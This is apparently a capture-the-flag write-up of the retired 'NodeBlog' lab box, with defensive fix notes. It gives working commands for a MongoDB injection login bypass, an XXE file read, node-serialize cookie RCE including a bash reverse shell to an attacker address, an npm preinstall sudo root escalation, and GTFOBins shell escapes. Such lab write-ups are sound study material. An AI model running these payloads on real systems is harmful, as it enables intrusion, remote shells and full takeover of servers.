NodeBlog
Summary
I scanned the target and found only two open services: SSH restricted to public-key login and a Node.js Express web application on TCP port 5000. The login page was vulnerable to MongoDB NoSQL injection — substituting a query-operator object for the password field authenticated as admin without knowing the real password. An XML article-upload endpoint parsed my own XML with external entities enabled, letting me read the server source code and confirm the auth cookie was deserialized with the unsafe node-serialize library.
By embedding a self-invoking JavaScript function in a forged cookie I triggered remote code execution as the application user and captured the user flag. On the local host the admin account had an unrestricted sudo rule for npm; npm lifecycle hooks ran my own shell commands as root, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export ND_FUNC="<a-value-you-captured-earlier>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,5000 --min-rate 5000 $TARGETcurl -i http://$TARGET:5000/Exact commands 1
curl -i -X POST http://$TARGET:5000/login -H 'Content-Type: application/json' -d '{"user":"admin","password":{"$ne":"$PASSWORD"}}'FixSanitize login inputs to block MongoDB operator injectionCritical
Exact commands 1
curl -s -X POST http://$TARGET:5000/articles/xml -H 'Content-Type: application/xml' -H 'Cookie: auth=$PASSWORD2' --data-binary '<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file:///etc/passwd">]><post><author>&file;</author><title>x</title><content>x</content></post>'FixDisable XML external entity processing on the article upload endpointHigh
Exact commands 2
python3 - <<'PY'
import requests, urllib.parse, json
cmd = 'id > /tmp/nb_rce_test'
p = {'user': 'admin', 'sign': '$PASSWORD3',
'rce': "_$$ND_FUNC$$_function(){require('child_process').exec(%r,function(e,o,r){});}()" % cmd}
raw = json.dumps(p, separators=(',', ':'))
requests.get("http://$TARGET:5000/", headers={'Cookie': 'auth=' + urllib.parse.quote(raw)}, timeout=8)
PYpython3 - <<'PY'
import requests, urllib.parse, json
# Start listener first: nc -lvnp 4444
cmd = 'bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'
p = {'user': 'admin', 'sign': '$PASSWORD3',
'rce': "_$$ND_FUNC$$_function(){require('child_process').exec(%r,function(e,o,r){});}()" % cmd}
raw = json.dumps(p, separators=(',', ':'))
requests.get("http://$TARGET:5000/", headers={'Cookie': 'auth=' + urllib.parse.quote(raw)}, timeout=8)
PYFixReplace insecure cookie deserialization with safe structured parsingCritical
Exact commands 1
python3 - <<'PY'
import requests, urllib.parse, json
cmd = 'cat /home/admin/user.txt > /tmp/userflag'
p = {'user': 'admin', 'sign': '$PASSWORD3',
'rce': "_$$ND_FUNC$$_function(){require('child_process').exec(%r,function(e,o,r){});}()" % cmd}
raw = json.dumps(p, separators=(',', ':'))
requests.get("http://$TARGET:5000/", headers={'Cookie': 'auth=' + urllib.parse.quote(raw)}, timeout=8)
PYExact commands 2
sudo -lmkdir /tmp/npmpe && cd /tmp/npmpe && echo '{"scripts":{"preinstall":"/bin/bash"}}' > package.json && sudo npm install --unsafe-permFixRemove npm and all package managers from the sudoers allowed-commands listCritical
Exact commands 1
cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 5000/tcp | http recon-sweep-discovered |